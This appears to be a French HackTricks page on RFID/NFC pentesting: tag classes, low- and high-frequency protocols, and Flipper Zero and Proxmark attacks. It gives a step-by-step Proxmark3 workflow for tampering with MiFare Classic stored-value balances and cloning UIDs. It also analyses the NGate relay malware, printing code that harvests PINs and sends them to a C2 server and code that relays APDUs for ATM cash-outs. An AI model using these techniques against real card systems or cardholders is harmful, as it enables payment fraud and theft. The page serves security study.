Pentesting RFID

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

• Vérifiez les plans d’abonnement !
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.

Introduction

Radio Frequency Identification (RFID) est la solution radio courte portée la plus répandue. Elle est généralement utilisée pour stocker et transmettre des informations qui identifient une entité.

Une étiquette RFID peut s’appuyer sur sa propre source d’alimentation (active), comme une batterie intégrée, ou recevoir son alimentation depuis l’antenne de lecture grâce au courant induit par les ondes radio reçues (passive).

Classes

EPCglobal divise les tags RFID en six catégories. Un tag de chaque catégorie possède toutes les capacités listées dans la catégorie précédente, ce qui le rend rétrocompatible.

• Class 0 tags are passive tags that operate in UHF bands. The vendor preprograms them at the production factory. As a result, you can’t change the information stored in their memory.
• Class 1 tags can also operate in HF bands. In addition, they can be written only once after production. Many Class 1 tags can also process cyclic redundancy checks (CRCs) of the commands they receive. CRCs are a few extra bytes at the end of the commands for error detection.
• Class 2 tags can be written multiple times.
• Class 3 tags can contain embedded sensors that can record environmental parameters, such as the current temperature or the tag’s motion. These tags are semi-passive, because although they have an embedded power source, such as an integrated battery, they can’t initiate wireless communication with other tags or readers.
• Class 4 tags can initiate communication with other tags of the same class, making them active tags.
• Class 5 tags can provide power to other tags and communicate with all the previous tag classes. Class 5 tags can act as RFID readers.

Informations stockées dans les tags RFID

La mémoire d’un tag RFID stocke généralement quatre types de données : les données d’identification, qui identifient l’entité à laquelle le tag est attaché (ces données incluent des champs définis par l’utilisateur, comme des comptes bancaires) ; les données supplémentaires, qui fournissent des informations complémentaires concernant l’entité ; les données de contrôle, utilisées pour la configuration interne du tag ; et les données fabricant, qui contiennent l’Unique Identifier (UID) du tag et des informations sur la production, le type et le vendeur du tag. Les deux premiers types de données se retrouvent dans tous les tags commerciaux ; les deux derniers peuvent varier selon le fournisseur du tag.

La norme ISO spécifie la valeur Application Family Identifier (AFI), un code qui indique le type d’objet auquel le tag appartient. Un autre registre important, également spécifié par ISO, est le Data Storage Format Identifier (DSFID), qui définit l’organisation logique des données utilisateur.

La plupart des mécanismes de sécurité RFID restreignent les opérations de lecture ou d’écriture sur chaque bloc mémoire utilisateur ainsi que sur les registres spéciaux contenant les valeurs AFI et DSFID. Ces mécanismes de verrouillage utilisent des données stockées dans la mémoire de contrôle et ont des mots de passe par défaut préconfigurés par le fabricant, mais permettent aux propriétaires des tags de configurer des mots de passe personnalisés.

Comparaison des tags basse et haute fréquence

Low-Frequency RFID Tags (125kHz)

Les tags basse fréquence sont souvent utilisés dans des systèmes qui n’exigent pas une sécurité élevée : contrôle d’accès aux bâtiments, interphones, cartes d’abonnement de salle de sport, etc. En raison de leur portée plus élevée, ils sont pratiques pour les parkings payants : le conducteur n’a pas besoin d’approcher la carte du lecteur, car elle est détectée de plus loin. En même temps, les tags basse fréquence sont très primitifs et ont un faible débit de données. Pour cette raison, il est impossible d’implémenter des échanges de données bidirectionnels complexes pour des fonctions comme la gestion de solde ou la cryptographie. Les tags basse fréquence ne transmettent que leur identifiant court sans aucun moyen d’authentification.

Ces dispositifs reposent sur la technologie RFID passive et opèrent dans une plage de 30 kHz à 300 kHz, bien qu’il soit plus courant d’utiliser 125 kHz à 134 kHz :

• Long Range — une fréquence plus basse se traduit par une portée plus grande. Il existe des lecteurs EM-Marin et HID fonctionnant à une distance allant jusqu’à un mètre. Ils sont souvent utilisés dans les parkings.
• Primitive protocol — en raison du faible débit de données, ces tags ne peuvent transmettre que leur identifiant court. Dans la plupart des cas, les données ne sont pas authentifiées et ne sont protégées d’aucune manière. Dès que la carte est à portée du lecteur, elle commence simplement à transmettre son ID.
• Low security — Ces cartes peuvent être facilement copiées, ou même lues dans la poche de quelqu’un d’autre à cause du côté primitif du protocole.

Popular 125 kHz protocols:

• EM-Marin — EM4100, EM4102. Le protocole le plus populaire dans la CIS. Peut être lu à environ un mètre grâce à sa simplicité et sa stabilité.
• HID Prox II — protocole basse fréquence introduit par HID Global. Ce protocole est plus répandu dans les pays occidentaux. Il est plus complexe et les cartes et lecteurs pour ce protocole sont relativement chers.
• Indala — protocole basse fréquence très ancien introduit par Motorola, puis acquis par HID. Vous êtes moins susceptible de le rencontrer sur le terrain comparé aux deux précédents car il tend à disparaître.

En réalité, il existe beaucoup d’autres protocoles basse fréquence. Mais ils utilisent tous la même modulation au niveau physique et peuvent être considérés, d’une manière ou d’une autre, comme des variantes de ceux listés ci-dessus.

Attack

Vous pouvez attaquer ces Tags avec le Flipper Zero :

FZ - 125kHz RFID

High-Frequency RFID Tags (13.56 MHz)

Les tags haute fréquence sont utilisés pour une interaction lecteur-tag plus complexe lorsque vous avez besoin de cryptographie, d’un transfert de données bidirectionnel important, d’authentification, etc.
On les trouve généralement dans les cartes bancaires, les transports publics et d’autres passes sécurisés.

Les tags haute fréquence 13.56 MHz sont un ensemble de normes et de protocoles. On les désigne souvent par NFC, mais ce n’est pas toujours correct. L’ensemble de protocoles de base utilisé aux niveaux physique et logique est ISO 14443. Les protocoles de haut niveau, ainsi que des normes alternatives (comme ISO 19092), s’appuient sur celui-ci. Beaucoup de gens appellent cette technologie Near Field Communication (NFC), un terme pour les dispositifs opérant sur la fréquence 13.56 MHz.

Pour simplifier, l’architecture NFC fonctionne ainsi : le protocole de transmission est choisi par l’entreprise qui fabrique les cartes et implémenté sur la base du niveau bas ISO 14443. Par exemple, NXP a inventé son propre protocole de transmission de haut niveau appelé Mifare. Mais au niveau inférieur, les cartes Mifare sont basées sur la norme ISO 14443-A.

Flipper peut interagir à la fois avec le protocole bas niveau ISO 14443, ainsi qu’avec le protocole de transfert de données Mifare Ultralight et EMV utilisé dans les cartes bancaires. Nous travaillons à ajouter le support pour Mifare Classic et NFC NDEF. Un examen approfondi des protocoles et standards qui composent NFC mérite un article séparé que nous prévoyons de publier ultérieurement.

Toutes les cartes haute fréquence basées sur la norme ISO 14443-A ont un identifiant de puce unique. Il sert de numéro de série de la carte, comme l’adresse MAC d’une carte réseau. Généralement, l’UID fait 4 ou 7 octets, mais il peut rarement aller jusqu’à 10. Les UID ne sont pas secrets et sont facilement lisibles, parfois même imprimés sur la carte elle-même.

De nombreux systèmes de contrôle d’accès reposent sur l’UID pour authentifier et accorder l’accès. Parfois cela se produit même lorsque les tags RFID supportent la cryptographie. Un tel mauvais usage les ramène au niveau des simples cartes 125 kHz en termes de sécurité. Les cartes virtuelles (comme Apple Pay) utilisent un UID dynamique afin que les propriétaires de téléphones n’ouvrent pas des portes avec leur application de paiement.

• Low range — les cartes haute fréquence sont spécialement conçues pour devoir être placées près du lecteur. Cela aide aussi à protéger la carte des interactions non autorisées. La portée de lecture maximale que nous avons réussi à obtenir était d’environ 15 cm, et c’était avec des lecteurs haute portée faits sur mesure.
• Advanced protocols — des vitesses de transfert jusqu’à 424 kbps permettent des protocoles complexes avec un transfert de données bidirectionnel complet. Ce qui permet la cryptographie, le transfert de données, etc.
• High security — les cartes sans contact haute fréquence n’ont rien à envier aux smart cards. Il existe des cartes qui supportent des algorithmes cryptographiquement forts comme AES et implémentent la cryptographie asymétrique.

Attack

Vous pouvez attaquer ces Tags avec le Flipper Zero :

FZ - NFC

Or using the proxmark:

Proxmark 3

MiFare Classic offline stored-value tampering (broken Crypto1)

When a system stores a monetary balance directly on a MiFare Classic card, you can often manipulate it because Classic uses NXP’s deprecated Crypto1 cipher. Crypto1 has been broken for years, allowing recovery of sector keys and full read/write of card memory with commodity hardware (e.g., Proxmark3).

End-to-end workflow (abstracted):

1. Dump the original card and recover keys

# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn

Cela récupère généralement les clés de secteur (A/B) et génère un dump complet de la carte dans le dossier client dumps.

2. Localiser et comprendre les champs value/integrity

• Effectuez des recharges légitimes sur la carte originale et prenez plusieurs dumps (avant/après).
• Faites un diff des deux dumps pour identifier les blocks/bytes qui changent et qui représentent le solde et les éventuels champs d’intégrité.
• De nombreux déploiements Classic utilisent soit l’encodage natif “value block”, soit implémentent leurs propres checksums (p.ex. XOR du solde avec un autre champ et une constante). Après avoir modifié le solde, recalculer les bytes d’intégrité en conséquence et assurez-vous que tous les champs dupliqués/complémentés sont cohérents.

3. Écrire le dump modifié sur une Classic tag “Chinese magic” inscriptible

# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin

4. Cloner l’UID original pour que les terminaux reconnaissent la carte

# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>

5. Utilisation aux terminaux

Les lecteurs qui font confiance au solde stocké sur la carte et au UID accepteront la carte manipulée. Les observations de terrain montrent que de nombreuses installations plafonnent les soldes en fonction de la largeur du champ (par ex., virgule fixe 16-bit).

Notes

• If the system uses native Classic value blocks, remember the format: value (4B) + ~value (4B) + value (4B) + block address + ~address. All parts must match.
• Pour les formats personnalisés avec des checksums simples, l’analyse différentielle est le moyen le plus rapide pour dériver la fonction d’intégrité sans reverse-engineering du firmware.
• Only UID-changeable tags (“Chinese magic” gen1a/gen2) allow writing block 0/UID. Normal Classic cards have read-only UIDs.

For hands-on Proxmark3 commands, see:

Proxmark 3

Construire un cloner mobile portable HID MaxiProx 125 kHz

Si vous avez besoin d’une solution à longue portée, alimentée par batterie pour harvesting des badges HID Prox® lors d’engagements red-team, vous pouvez convertir le lecteur mural HID MaxiProx 5375 en un cloner autonome qui tient dans un sac à dos. La procédure complète mécanique et électrique est disponible ici:

Maxiprox Mobile Cloner

Relais NFC/EMV via Android Reader↔HCE Emitter

Un relai EMV Classic peut être implémenté avec 2 appareils Android : un reader côté victime qui capture les APDUs en direct et le PIN d’une carte réelle, et un émetteur HCE côté attaquant au terminal qui retransmet les APDUs en amont. Le kit NGate analysé abuse des API NFC Android légitimes et d’un simple C2 TCP framed pour orchestrer des cash-outs ATM en temps réel.

Key building blocks

• Reader-mode app (victim): utilise les NFC reader APIs pour analyser l’EMV (PAN/expiry/AIDs), affiche le scheme selon l’AID, demande le PIN et exfiltre immédiatement.
• Emitter-mode app (ATM side): implémente Host Card Emulation (HCE) avec android:requireDeviceUnlock="false" et un payment AID; processCommandApdu() achemine les APDUs vers le C2 et renvoie une réponse minimale.
• Wire protocol: trames préfixées par la longueur, keepalive périodique; optionally TLS.

Android surface (Manifest/HCE)

<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.INTERNET"/>
<service android:name=".nfc.hce.ApduService"
android:permission="android.permission.BIND_NFC_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/hce"/>
</service>

Exemple hce.xml (sans déverrouillage + payment AID)

<host-apdu-service android:requireDeviceUnlock="false"
android:description="relay">
<aid-group android:category="other">
<aid-filter android:name="F001020304050607"/>
</aid-group>
<aid-group android:category="payment">
<aid-filter android:name="F001020304050607"/>
</aid-group>
</host-apdu-service>

Point de relais transparent (HCE)

@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
Log.d("ApduService", "APDU-IN: " + toHex(apdu));
bus.forward(apdu); // send upstream to C2/reader
return new byte[0]; // empty response, pure relay endpoint
}

Inférence du scheme EMV par AID (exemples)

• A000000004 → Mastercard
• A000000003 → Visa
• A000000658 → MIR
• A000000333 → UnionPay

Schéma de PIN harvesting (UI victime)

// Custom keypad publishes when required length (e.g., 4) is reached
if (pin.length() == 4) postDelayed(() -> bus.publish(pin), 100L);
// Network immediately exfiltrates via dedicated opcode
send(OP_PIN_REQ, pin.getBytes(StandardCharsets.UTF_8));

Framed C2 (cleartext example)

• Client→Serveur: int32 len | int32 opcode | body
• Serveur→Client: int32 len | body (opcode à l’intérieur du payload)
• Refuser les bodies > ~100 MiB ; keepalive ~7s (PING)

// send
out.writeInt(body.length); out.writeInt(op); out.write(body); out.flush();
// recv
int len = in.readInt(); byte[] body = new byte[len]; in.readFully(body);

Dissimulation de la configuration : XOR dérivé du certificat

• Native lib dérive une clé de 32 octets comme SHA‑256 du certificat de signature de l’app (DER).
• La config C2 est en ASCII‑hex dans assets (par ex., assets/____), décodée de l’hex et XOR‑ée avec la clé répétée tous les 32 octets :

for (size_t i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];

PoC hors ligne pour déchiffrer la config

# Extract signing cert digest
apksigner verify --print-certs sample.apk
# "Signer #1 certificate SHA-256 digest: <hex>"

import pathlib
key = bytes.fromhex("<sha256_of_signing_cert>")
ct  = bytes.fromhex(pathlib.Path("/path/to/assets/____").read_text().strip())
pt  = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))

Sample decrypted fields: host, port, sharedToken, tls, mode, reader, uniqueID, ttd.

Chaîne de relais (de bout en bout)

1. La victime installe l’APK, ouvre l’application → l’init native décrypte la config depuis assets.
2. L’application se connecte au C2 (p. ex., 91.84.97.13:5653) en utilisant framed TCP ; keepalive ~7s.
3. La victime approche la carte → le reader extrait PAN/expiry/AIDs et envoie CARD_DISCOVERED.
4. La victime saisit le PIN → le keypad publie et exfiltre via PIN_REQ ; le serveur répond VALID/INVALID uniquement pour l’UI.
5. Le dispositif de l’attaquant au terminal exécute un émetteur HCE relayant les APDUs vers l’ATM et effectue le cash-out.

Références

• https://blog.flipperzero.one/rfid/
• Let’s Clone a Cloner – Part 3 (TrustedSec)
• NXP statement on MIFARE Classic Crypto1
• MIFARE security overview (Wikipedia)
• NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)
• Analysis of NGate malware campaign (CERT-PL)
• Android apksigner – verify/print-certs
• Android Host Card Emulation (HCE) overview

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

• Vérifiez les plans d’abonnement !
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.